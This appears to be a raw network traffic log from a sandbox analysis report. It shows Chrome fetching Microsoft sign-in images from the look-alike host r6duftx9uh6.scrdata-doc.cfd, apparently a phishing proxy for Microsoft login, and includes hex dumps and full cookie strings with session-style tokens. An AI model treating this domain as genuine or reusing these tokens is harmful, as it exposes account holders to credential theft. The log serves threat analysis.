esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	735	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:35 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: e754f9e9-701e-0045-6fcb-97b185000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112135Z-17949d758747rqp52ymbk602c400000008b000000000cb09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49748	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2809	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:34 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 0bcfae94-701e-003d-71c0-971b94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112134Z-17949d75874p7p6rvb4gur45440000000a20000000005pxs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49745	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2795	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	744	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:35 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 991459fd-d01e-0037-6e60-951581000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112135Z-17859dc676bdqsl49t8q36ng64000000048g000000017evh x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 11:21:35 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49746	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:34 UTC	2809	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://r6duftx9uh6.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9NDdmOThkZTktYTQyMS02ODlhLTczZjAtZGQyNGViMTUxMzQxJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzI3MjY4MjI1NzEzNC5hMzYxOTAyMS0xNWZjLTRiOTktOWY0ZS04YWJmMmQzMTM1YTImc3RhdGU9RGNzN0ZvQWdEQUJCME9keEl1UURJY2NKS3EybDF6ZkZiTGM1cGJTSExlUWFTZHA1aUNrcDlVSFVGRmxPNTQ1V0NRSGJ1a0NtR2RpU0I0YlBSVGNqTjZjYzcxSGV6OHNQ&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:35 UTC	784	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:34 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 3eddbb2a-e01e-0078-6dc0-954f8f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112134Z-17949d75874578j6e6r4dumucg00000006tg00000000amup x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 11:21:35 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49755	2.58.15.240	443	7092	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 11:21:36 UTC	1710	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: r6duftx9uh6.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=4aRRMNgQQ48G; qPdM.sig=VX_p9ZlQxDGH45hp-am1FhGFA2s; ClientId=EFCB49F917AE4E1CA88B2BE99C2A2FDF; OIDC=1; OpenIdConnect.nonce.v3.9JB4ObWnOKtyZpRb76ggMLLANwVQnfEgoMR303jZyQ0=638497272682257134.a3619021-15fc-4b99-9f4e-8abf2d3135a2; X-OWA-RedirectHistory=ArLym14B7hpI-OJl3Ag; esctx-GwyRz7LSa6M=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd86j77PIMFOB6g9hYdh82rwJMsmHDcoI3LRYEPxY25z-Tqu9abNNpfAXaaQTNTAbGTlIXADbESNthkcQwqlDxKDRTgtkPhr1wfYDLBiW7Yz_RdCfucfYs8T-CRalNSnmi1ucS1ngVZ4L-cxvWU5sy6ciAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AToAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8zVq_c4QVv77LXu0sBzN5JoSWEmnPlEaTpKJHx-TIOCfHAFIm7A4qbYEDXjnwNt5X0w5nxTNmx2-70iJHZ6K6mPbcNpF-FvfODcs5amkEDr0gAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8ty0v5DMjVd2_I3cESbvAXzAChW4-s5vW-ynxIqujloA-wDIupKgxp3BZamYAQD4EigknT1i75m8IJ1H7b5q9NavOS-4r8xIFiqVWT_36chWu_AJNyVX9xXBZ3HvzdRRUzcoMgNUbfivAsO1BgTG07VYiBshnzmSet5Du-xqgZ5IgAA; esctx-mHRmohW2y4E=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd8vT8b7tFC6DxSRJ5zbR3GMtP2zQGx9ZjMIhAjqWvrRH1gC9XNzQRHXkHwW76Wo9jv2xRkWmBKCTWq2VAhHKCBmNJy2oXms-wns56TPXYUI6fANss6_PNOhDlOOCYYeG0dht26-KjETBtSveP7qykzrSAA; fpc=Ag3Kly0IoDdBkfMWaLarS2aerOTJAQAAACmFvd0OAAAA; brcap=0
2024-04-26 11:21:37 UTC	779	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 11:21:37 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 973f287f-201e-0064-63cb-970bb4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T112136Z-17859dc676bbnmlth8zvr2wnun000000040g000000020n4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
